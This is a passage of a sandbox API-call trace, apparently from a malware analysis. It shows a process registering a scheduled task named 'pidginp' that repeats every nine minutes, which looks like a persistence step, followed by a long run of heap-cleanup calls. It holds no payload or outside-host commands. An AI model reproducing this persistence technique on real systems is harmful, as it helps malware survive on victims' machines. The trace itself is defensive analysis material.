lpSystemTime=0x908fddc1a8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x22, wMilliseconds=0x1d7)) [0111.099] lstrlenW (lpString="") returned 0 [0111.099] GetLocalTime (in: lpSystemTime=0x908fddcb98 | out: lpSystemTime=0x908fddcb98*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x22, wMilliseconds=0x1d7)) [0111.099] lstrlenW (lpString="") returned 0 [0111.099] lstrlenW (lpString="") returned 0 [0111.099] lstrlenW (lpString="") returned 0 [0111.099] lstrlenW (lpString="") returned 0 [0111.099] lstrlenW (lpString="9") returned 1 [0111.099] _wtol (_String="9") returned 9 [0111.100] lstrlenW (lpString="") returned 0 [0111.100] lstrlenW (lpString="") returned 0 [0111.100] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0111.109] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0111.850] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x908fddc8f0 | out: ppv=0x908fddc8f0*=0x26b6b8e56d0) returned 0x0 [0111.974] TaskScheduler:ITaskService:Connect (This=0x26b6b8e56d0, serverName=0x908fddc9e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x908fddc9b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x908fddc990*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x908fddc970*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0112.209] TaskScheduler:ITaskService:GetFolder (in: This=0x26b6b8e56d0, Path=0x0, ppFolder=0x908fddcad0 | out: ppFolder=0x908fddcad0*=0x26b6b8e5820) returned 0x0 [0112.212] TaskScheduler:ITaskService:NewTask (in: This=0x26b6b8e56d0, flags=0x0, ppDefinition=0x908fddcaa8 | out: ppDefinition=0x908fddcaa8*=0x26b6b8e58a0) returned 0x0 [0112.213] ITaskDefinition:get_Actions (in: This=0x26b6b8e58a0, ppActions=0x908fddc9f0 | out: ppActions=0x908fddc9f0*=0x26b6b8e5930) returned 0x0 [0112.213] IActionCollection:Create (in: This=0x26b6b8e5930, Type=0, ppAction=0x908fddca30 | out: ppAction=0x908fddca30*=0x26b6b8e5d40) returned 0x0 [0112.213] IUnknown:Release (This=0x26b6b8e5d40) returned 0x1 [0112.213] IUnknown:Release (This=0x26b6b8e5930) returned 0x1 [0112.213] ITaskDefinition:get_Triggers (in: This=0x26b6b8e58a0, ppTriggers=0x908fddc5a0 | out: ppTriggers=0x908fddc5a0*=0x26b6b8e5bf0) returned 0x0 [0112.214] ITriggerCollection:Create (in: This=0x26b6b8e5bf0, Type=1, ppTrigger=0x908fddc588 | out: ppTrigger=0x908fddc588*=0x26b6b8e5db0) returned 0x0 [0112.214] lstrlenW (lpString="9") returned 1 [0112.214] _vsnwprintf (in: _Buffer=0x908fddc510, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x908fddc508 | out: _Buffer="PT9M") returned 4 [0112.214] ITrigger:get_Repetition (in: This=0x26b6b8e5db0, ppRepeat=0x908fddc580 | out: ppRepeat=0x908fddc580*=0x26b6b8e5e40) returned 0x0 [0112.214] IRepetitionPattern:put_Interval (This=0x26b6b8e5e40, Interval="PT9M") returned 0x0 [0112.214] IUnknown:Release (This=0x26b6b8e5e40) returned 0x1 [0112.214] _vsnwprintf (in: _Buffer=0x908fddc4d0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x908fddc4a8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0112.214] ITrigger:put_StartBoundary (This=0x26b6b8e5db0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0112.215] lstrlenW (lpString="") returned 0 [0112.215] lstrlenW (lpString="") returned 0 [0112.215] lstrlenW (lpString="") returned 0 [0112.215] lstrlenW (lpString="") returned 0 [0112.215] IUnknown:Release (This=0x26b6b8e5db0) returned 0x1 [0112.215] IUnknown:Release (This=0x26b6b8e5bf0) returned 0x1 [0112.215] ITaskDefinition:get_Settings (in: This=0x26b6b8e58a0, ppSettings=0x908fddca30 | out: ppSettings=0x908fddca30*=0x26b6b8e5a70) returned 0x0 [0112.216] lstrlenW (lpString="") returned 0 [0112.216] IUnknown:Release (This=0x26b6b8e5a70) returned 0x3 [0112.216] GetLocalTime (in: lpSystemTime=0x908fddc8e8 | out: lpSystemTime=0x908fddc8e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x23, wMilliseconds=0x254)) [0112.216] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0112.216] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x908fddc900, nSize=0x908fddc8d8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x908fddc8d8) returned 0x1 [0112.219] ITaskDefinition:get_RegistrationInfo (in: This=0x26b6b8e58a0, ppRegistrationInfo=0x908fddc8d0 | out: ppRegistrationInfo=0x908fddc8d0*=0x26b6b8e59b0) returned 0x0 [0112.219] IRegistrationInfo:put_Author (This=0x26b6b8e59b0, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0112.219] _vsnwprintf (in: _Buffer=0x908fddc900, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x908fddc898 | out: _Buffer="2023-09-19T17:15:35") returned 19 [0112.219] IRegistrationInfo:put_Date (This=0x26b6b8e59b0, Date="2023-09-19T17:15:35") returned 0x0 [0112.219] IUnknown:Release (This=0x26b6b8e59b0) returned 0x1 [0112.219] malloc (_Size=0x18) returned 0x26b6b8e5ec0 [0112.219] free (_Block=0x26b6b8e5ec0) [0112.219] lstrlenW (lpString="") returned 0 [0112.219] malloc (_Size=0x18) returned 0x26b6b8e5ec0 [0112.220] ITaskFolder:RegisterTaskDefinition (in: This=0x26b6b8e5820, Path="pidginp", pDefinition=0x26b6b8e58a0, flags=6, UserId=0x908fddcb40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x908fddcb20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x908fddcb60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x908fddcb00 | out: ppTask=0x908fddcb00*=0x26b6b8e6060) returned 0x0 [0112.394] free (_Block=0x26b6b8e5ec0) [0112.394] _memicmp (_Buf1=0x26b6b904c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.394] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x26b6b90bb20, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0112.394] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0112.394] GetProcessHeap () returned 0x26b6b900000 [0112.394] GetProcessHeap () returned 0x26b6b900000 [0112.394] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90a910) returned 1 [0112.394] GetProcessHeap () returned 0x26b6b900000 [0112.394] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90a910) returned 0xc [0112.394] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90a910) returned 1 [0112.394] GetProcessHeap () returned 0x26b6b900000 [0112.394] RtlAllocateHeap (HeapHandle=0x26b6b900000, Flags=0xc, Size=0x82) returned 0x26b6b91ab90 [0112.394] _vsnwprintf (in: _Buffer=0x908fddd1b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x908fddca48 | out: _Buffer="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n") returned 69 [0112.394] __iob_func () returned 0x7ffa7941e210 [0112.394] _fileno (_File=0x7ffa7941e240) returned -2 [0112.394] _errno () returned 0x26b6b8e0840 [0112.394] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0112.395] RtlRestoreLastWin32Error () returned 0x908ffa4000 [0112.395] lstrlenW (lpString="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n") returned 69 [0112.395] GetConsoleOutputCP () returned 0x0 [0112.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0112.395] GetConsoleOutputCP () returned 0x0 [0112.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"pidginp\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0112.395] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 69 [0112.395] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0112.395] IUnknown:Release (This=0x26b6b8e6060) returned 0x0 [0112.395] TaskScheduler:IUnknown:Release (This=0x26b6b8e58a0) returned 0x0 [0112.395] TaskScheduler:IUnknown:Release (This=0x26b6b8e5820) returned 0x0 [0112.395] TaskScheduler:IUnknown:Release (This=0x26b6b8e56d0) returned 0x0 [0112.396] lstrlenW (lpString="") returned 0 [0112.396] lstrlenW (lpString="9") returned 1 [0112.396] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="9", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0112.396] GetProcessHeap () returned 0x26b6b900000 [0112.396] GetProcessHeap () returned 0x26b6b900000 [0112.396] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90ac50) returned 1 [0112.396] GetProcessHeap () returned 0x26b6b900000 [0112.396] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90ac50) returned 0x1fc [0112.396] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90ac50) returned 1 [0112.396] GetProcessHeap () returned 0x26b6b900000 [0112.396] GetProcessHeap () returned 0x26b6b900000 [0112.396] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904e60) returned 1 [0112.396] GetProcessHeap () returned 0x26b6b900000 [0112.396] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904e60) returned 0x4 [0112.397] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904e60) returned 1 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90aaf0) returned 1 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90aaf0) returned 0x16 [0112.397] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90aaf0) returned 1 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90abf0) returned 1 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90abf0) returned 0x18 [0112.397] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90abf0) returned 1 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b3f0) returned 1 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b3f0) returned 0x20 [0112.397] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b3f0) returned 1 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.397] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b903840) returned 1 [0112.397] GetProcessHeap () returned 0x26b6b900000 [0112.398] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b903840) returned 0xa0 [0112.398] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b903840) returned 1 [0112.398] GetProcessHeap () returned 0x26b6b900000 [0112.398] GetProcessHeap () returned 0x26b6b900000 [0112.398] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904c20) returned 1 [0112.398] GetProcessHeap () returned 0x26b6b900000 [0112.398] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904c20) returned 0x18 [0112.398] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904c20) returned 1 [0112.398] GetProcessHeap () returned 0x26b6b900000 [0112.398] GetProcessHeap () returned 0x26b6b900000 [0112.398] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b8a0) returned 1 [0112.398] GetProcessHeap () returned 0x26b6b900000 [0112.398] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b8a0) returned 0x20 [0112.399] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b8a0) returned 1 [0112.399] GetProcessHeap () returned 0x26b6b900000 [0112.399] GetProcessHeap () returned 0x26b6b900000 [0112.399] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90be70) returned 1 [0112.399] GetProcessHeap () returned 0x26b6b900000 [0112.399] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90be70) returned 0x44 [0112.399] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90be70) returned 1 [0112.399] GetProcessHeap () returned 0x26b6b900000 [0112.399] GetProcessHeap () returned 0x26b6b900000 [0112.399] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90ab10) returned 1 [0112.399] GetProcessHeap () returned 0x26b6b900000 [0112.399] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90ab10) returned 0x18 [0112.399] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90ab10) returned 1 [0112.399] GetProcessHeap () returned 0x26b6b900000 [0112.399] GetProcessHeap () returned 0x26b6b900000 [0112.399] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b960) returned 1 [0112.399] GetProcessHeap () returned 0x26b6b900000 [0112.400] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b960) returned 0x20 [0112.400] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b960) returned 1 [0112.400] GetProcessHeap () returned 0x26b6b900000 [0112.400] GetProcessHeap () returned 0x26b6b900000 [0112.400] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90c2d0) returned 1 [0112.400] GetProcessHeap () returned 0x26b6b900000 [0112.400] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90c2d0) returned 0x46 [0112.400] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90c2d0) returned 1 [0112.400] GetProcessHeap () returned 0x26b6b900000 [0112.400] GetProcessHeap () returned 0x26b6b900000 [0112.400] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90aa90) returned 1 [0112.400] GetProcessHeap () returned 0x26b6b900000 [0112.400] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90aa90) returned 0x18 [0112.400] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90aa90) returned 1 [0112.400] GetProcessHeap () returned 0x26b6b900000 [0112.400] GetProcessHeap () returned 0x26b6b900000 [0112.400] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b908f30) returned 1 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b908f30) returned 0x20 [0112.401] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b908f30) returned 1 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90aa10) returned 1 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90aa10) returned 0xe [0112.401] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90aa10) returned 1 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904780) returned 1 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904780) returned 0x18 [0112.401] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904780) returned 1 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b908ea0) returned 1 [0112.401] GetProcessHeap () returned 0x26b6b900000 [0112.401] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b908ea0) returned 0x20 [0112.402] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b908ea0) returned 1 [0112.402] GetProcessHeap () returned 0x26b6b900000 [0112.402] GetProcessHeap () returned 0x26b6b900000 [0112.402] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b909ae0) returned 1 [0112.402] GetProcessHeap () returned 0x26b6b900000 [0112.402] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b909ae0) returned 0x208 [0112.402] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b909ae0) returned 1 [0112.402] GetProcessHeap () returned 0x26b6b900000 [0112.402] GetProcessHeap () returned 0x26b6b900000 [0112.402] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904c00) returned 1 [0112.402] GetProcessHeap () returned 0x26b6b900000 [0112.402] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904c00) returned 0x18 [0112.402] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904c00) returned 1 [0112.402] GetProcessHeap () returned 0x26b6b900000 [0112.402] GetProcessHeap () returned 0x26b6b900000 [0112.402] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b908ed0) returned 1 [0112.403] GetProcessHeap () returned 0x26b6b900000 [0112.403] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b908ed0) returned 0x20 [0112.403] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b908ed0) returned 1 [0112.403] GetProcessHeap () returned 0x26b6b900000 [0112.403] GetProcessHeap () returned 0x26b6b900000 [0112.403] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90bb20) returned 1 [0112.403] GetProcessHeap () returned 0x26b6b900000 [0112.403] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90bb20) returned 0x200 [0112.403] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90bb20) returned 1 [0112.403] GetProcessHeap () returned 0x26b6b900000 [0112.403] GetProcessHeap () returned 0x26b6b900000 [0112.403] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904c40) returned 1 [0112.403] GetProcessHeap () returned 0x26b6b900000 [0112.404] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904c40) returned 0x18 [0112.404] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904c40) returned 1 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.404] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b908e40) returned 1 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.404] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b908e40) returned 0x20 [0112.404] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b908e40) returned 1 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.404] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904380) returned 1 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.404] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904380) returned 0x14 [0112.404] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904380) returned 1 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.404] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904360) returned 1 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.404] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904360) returned 0x18 [0112.404] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904360) returned 1 [0112.404] GetProcessHeap () returned 0x26b6b900000 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b908ff0) returned 1 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b908ff0) returned 0x20 [0112.405] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b908ff0) returned 1 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904690) returned 1 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904690) returned 0x16 [0112.405] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904690) returned 1 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904320) returned 1 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904320) returned 0x18 [0112.405] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904320) returned 1 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b908f60) returned 1 [0112.405] GetProcessHeap () returned 0x26b6b900000 [0112.405] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b908f60) returned 0x20 [0112.406] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b908f60) returned 1 [0112.406] GetProcessHeap () returned 0x26b6b900000 [0112.406] GetProcessHeap () returned 0x26b6b900000 [0112.406] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904ea0) returned 1 [0112.406] GetProcessHeap () returned 0x26b6b900000 [0112.406] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904ea0) returned 0x2 [0112.406] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904ea0) returned 1 [0112.406] GetProcessHeap () returned 0x26b6b900000 [0112.406] GetProcessHeap () returned 0x26b6b900000 [0112.406] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904810) returned 1 [0112.406] GetProcessHeap () returned 0x26b6b900000 [0112.406] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904810) returned 0x20 [0112.406] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904810) returned 1 [0112.406] GetProcessHeap () returned 0x26b6b900000 [0112.406] GetProcessHeap () returned 0x26b6b900000 [0112.407] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904860) returned 1 [0112.407] GetProcessHeap () returned 0x26b6b900000 [0112.407] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904860) returned 0x20 [0112.407] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904860) returned 1 [0112.407] GetProcessHeap () returned 0x26b6b900000 [0112.407] GetProcessHeap () returned 0x26b6b900000 [0112.407] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904890) returned 1 [0112.407] GetProcessHeap () returned 0x26b6b900000 [0112.407] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904890) returned 0x20 [0112.407] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904890) returned 1 [0112.407] GetProcessHeap () returned 0x26b6b900000 [0112.407] GetProcessHeap () returned 0x26b6b900000 [0112.407] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b904400) returned 1 [0112.407] GetProcessHeap () returned 0x26b6b900000 [0112.408] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b904400) returned 0x20 [0112.408] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b904400) returned 1 [0112.408] GetProcessHeap () returned 0x26b6b900000 [0112.408] GetProcessHeap () returned 0x26b6b900000 [0112.408] HeapValidate (hHeap=0x26b6b900000, dwFlags=0x0, lpMem=0x26b6b90b780) returned 1 [0112.408] GetProcessHeap () returned 0x26b6b900000 [0112.408] RtlSizeHeap (HeapHandle=0x26b6b900000, Flags=0x0, MemoryPointer=0x26b6b90b780) returned 0x20 [0112.408] RtlFreeHeap (HeapHandle=0x26b6b900000, Flags=0x0, BaseAddress=0x26b6b90b780) returned 1 [0112.408] GetProcessHeap () returned 0x26b6b900000 [0112.408] GetProcessHeap () returned 0x26b6b900000 [0112.408] HeapValidate 